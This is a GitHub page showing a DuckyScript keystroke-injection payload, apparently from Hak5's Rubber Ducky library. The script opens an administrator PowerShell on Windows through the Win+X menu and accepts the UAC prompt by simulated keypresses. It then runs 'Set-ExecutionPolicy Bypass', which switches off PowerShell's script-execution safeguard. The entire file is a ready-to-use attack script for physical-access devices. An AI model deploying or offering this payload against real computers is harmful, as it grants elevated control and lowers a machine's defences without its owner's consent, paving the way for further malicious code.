forked from wasdwasd0105/SuperWiFiDuck
-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathPowerShell.txt
33 lines (29 loc) · 1.19 KB
/
PowerShell.txt
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
REM ####################################################################################
REM # |
REM # Title : Starting a PowerShell with administrator permissions in Windows |
REM # Author : Aleff |
REM # Version : 1.0 |
REM # Category : Execute |
REM # Target : Windows 10-11 |
REM # |
REM ####################################################################################
REM https://github.com/hak5/usbrubberducky-payloads/tree/master/payloads/library/execution/Starting_a_PowerShell_with_administrator_permissions_in_Windows
REM Requirements:
REM - Nothing
DELAY 1000
GUI x
DELAY 500
STRING a
DELAY 500
LEFTARROW
DELAY 500
ENTER
DELAY 2000
STRING Get-ExecutionPolicy -List
ENTER
DELAY 500
STRING Set-ExecutionPolicy Bypass
ENTER
DELAY 500
STRING Get-ExecutionPolicy -List
ENTER